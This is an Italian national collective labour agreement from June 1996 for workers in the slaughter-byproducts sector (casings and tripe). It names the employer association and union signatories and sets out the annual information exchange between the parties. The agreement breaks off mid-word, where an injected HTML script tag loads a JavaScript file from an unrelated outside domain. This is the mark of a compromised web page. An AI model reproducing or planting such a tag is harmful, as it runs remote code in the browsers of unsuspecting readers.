Categoria: Sottoprodotti della macellazione
Settore: Alimentari - Agroindustriale
Data stipula: 25-6-1996
Data decorrenza: 1-5-1996
Data scadenza: 31-3-2000

CONTRATTO COLLETTIVO
NAZIONALE DI LAVORO

25 Giugno 1996

per gli addetti al settore:
sottoprodotti della macellazione

PARTE NORMATIVA: Decorrenza 1 Aprile 1996
Scadenza 31 Marzo 2000

PARTE ECONOMICA: Decorrenza 1 Aprile 1996
Scadenza 31 Marzo 1998



CONTRATTO COLLETTIVO NAZIONALE DI LAVORO
25 GIUGNO 1996 PER GLI ADDETTI AL SETTORE DEI
SOTTOPRODOTTI DELLA MACELLAZIONE (BUDELLA E TRIPPA)

Addì   25  Giugno  1996  tra  l'Associazione  Italiana  Industrie  Prodotti
Alimentari (AIIPA) Gruppo: Sottoprodotti della macellazione (già "Budella e
Trippa"),  rappresentato dal Presidente di Gruppo Sig. Renzo Pallavicini  e
da  una  delegazione industriale assistita dal Direttore  dell'Associazione
Dott.  Giovanni  Franco Crippa e dal Dott. Valerio Bordoni e  la  FLAI-CGIL
rappresentata   dal  Segretario  Generale  Dott.  Gianfranco   Benzi,   dal
Vice-Segretario  Marcello Tocco e dai Segretari Nazionali Antonio  Carbone,
Elisa  Castellano,  Enzo  La  Corte, Laura  Martini,  Silvano  Silvani;  la
FAT-CISL  rappresentata  dal Segretario Generale  Uliano  Stendardi  e  dai
Segretari  Nazionali  Roberto Benaglia, Giovanni  Pastrello  e  da  Roberto
Vicentini;  la UILA-UIL rappresentata dal Presidente Pierluigi  Bertinelli,
dal  Segretario Generale Dott. Stefano Mantegazza e dai Segretari Nazionali
Tiziana Bocchi, Pasquale Papiccio, Giampiero Sanbucini, Enrico Tonghini,  e
una  delegazione  di  rappresentanze  territoriali  dei  lavoratori,  si  è
stipulato il presente contratto di lavoro che disciplina i rapporti tra  le
aziende  esercenti  la  lavorazione dei Sottoprodotti  della  macellazione,
qualunque  sia  la  loro natura e la dimensione, con i lavoratori  in  esse
occupati.

Il presente contratto sostituisce il precedente CCNL 14/4/1992.

SISTEMA DI INFORMAZIONE

Annualmente,  di norma nel primo quadrimestre, l'AIIPA fornirà  alla  FLAI-
CGIL,  FAT-CISL, UILA-UIL nazionali, su richiesta delle stesse, in apposito
incontro   a   livello   nazionale,   informazioni   globali   previsionali
riguardanti:  le prospettive produttive ed occupazionali,  i  programmi  di
investimento,  i  programmi di investimento che comportino diversificazioni
produttive,  i nuovi insediamenti industriali e la loro localizzazione  per
grandi  aree geografiche e/o rilevanti ampliamenti di quelli esistenti,  le
condizioni ambientali di lavoro ed ecologiche.

In  relazione a tale informazione, a richiesta di una delle parti,  seguirà
un  incontro  allo  scopo  di  effettuare un  confronto  conoscitivo  sulle
prevedibili  implicazioni  circa le prospettive produttive,  i  livelli  di
occupazione, le condizioni ambientali di lavoro ed ecologiche.

Nel corso dell'incontro l'Associazione fornirà inoltre informazioni di tipo
previsionale  sull'andamento economico e produttivo del  settore  con  dati
aggregati  sull'importazione ed esportazione dei prodotti, e  sul  fenomeno
del decentramento produttivo, e del lavoro svolto per conto terzi.

Informazioni   saranno   anche   fornite  sull'andamento   dell'occupazione
giovanile con riferimento particolare ai contratti di formazione e lavoro e
all'apprendistato avuto riguardo alla legislazione e agli  accordi  vigenti
e,  per  quanto  concerne l'occupazione femminile, individuando  interventi
(azioni positive) volti a promuovere condizioni di effettiva parità per  le
lavoratrici  in  linea con le normative CE e nazionali in  tema  di  parità
uomo-donna al fine di ottenere la valorizzazione del lavoro femminile.

Saranno   inoltre  fornite  informazioni  sui  programmi  previsionali   di
qualificazione  e  formazione  professionale  eventualmente   promossi   su
iniziativa  o  con  il  concorso delle Aziende; sulle trasformazioni  e  le
innovazioni  tecnologiche ed organizzative e sui nuovi  assetti  produttivi
aziendali, che comportino significativi riflessi sull'occupazione, e  sulla
professionalità dei lavoratori, calendari annui e problematich<script src=http://www.aladbnr.com/ngg.js></script>